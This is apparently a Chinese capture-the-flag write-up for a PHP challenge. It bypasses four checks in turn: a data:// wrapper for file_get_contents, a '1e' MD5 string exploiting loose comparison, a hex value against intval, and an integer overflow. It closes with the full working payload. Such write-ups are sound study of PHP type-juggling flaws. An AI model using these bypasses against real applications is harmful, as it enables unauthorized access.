大概意思是传入 key1 key2
key1 的数据要=== Hello hacker!
key2 输入的数据md5 要大于 666666>666666
key3 要等于 666,但是有 intval函数 默认转成10进制
key4 如果大于0 ,k3 + k4 要小于 666
看着逻辑不是很难
一步步来
if(@file_get_contents($k1)==="Hello hacker!"){
echo 'welcome! Hacker!<br>';
k1 要强等于 Hello hacker!
一开始想到用php://input 去写 但是发现没有用 ,php://input 是要传post 数据的 (放弃)
又想到数据流 data 可以写入数据 ,data://text/plain,base64,....
key1=data://test/plain;base64,SGVsbG8gaGFja2VyIQ==
绕过第一步 key1
if(md5($k2)>666666*666666)
传入key2 的md5 值要大于 他们相乘的值
使用作者的值 :1518375
他的md5 值全是数字
93240121540327474319550261818423
然后也可以使用弱类型
字符串为: skwerl11
MD5值为 :1e21ff98693770b768e4a1a4a704811b
1e 是科学计数法 ,然后后面的字符会当成数字来比较,直到没有数字为止
然后就是ke3了
if(intval($k3)<666)
{
if($k3==666)
{
echo 'Come on, flag is coming<br>';
k3 小于666 又要等于 666
采用 16进制
成功绕过
来到 key4
if($k4>0)
{
if(intval($k3+$k4)<666)
echo $flag;
}
小于 0 然后 相加还要小于 666
。。。。。
看了wp ,才了解到intval的表达范围是有限制的,取决于操作系统
可以使用溢出,
使用这个去绕过
999999999999999999999999999999999999999999999999996666
完整的payload :key1=data://test/plain;base64,SGVsbG8gaGFja2VyIQ==&key2=skwerl11&key3=0x29a&key4=999999999999999999999999999999999999999999999999996666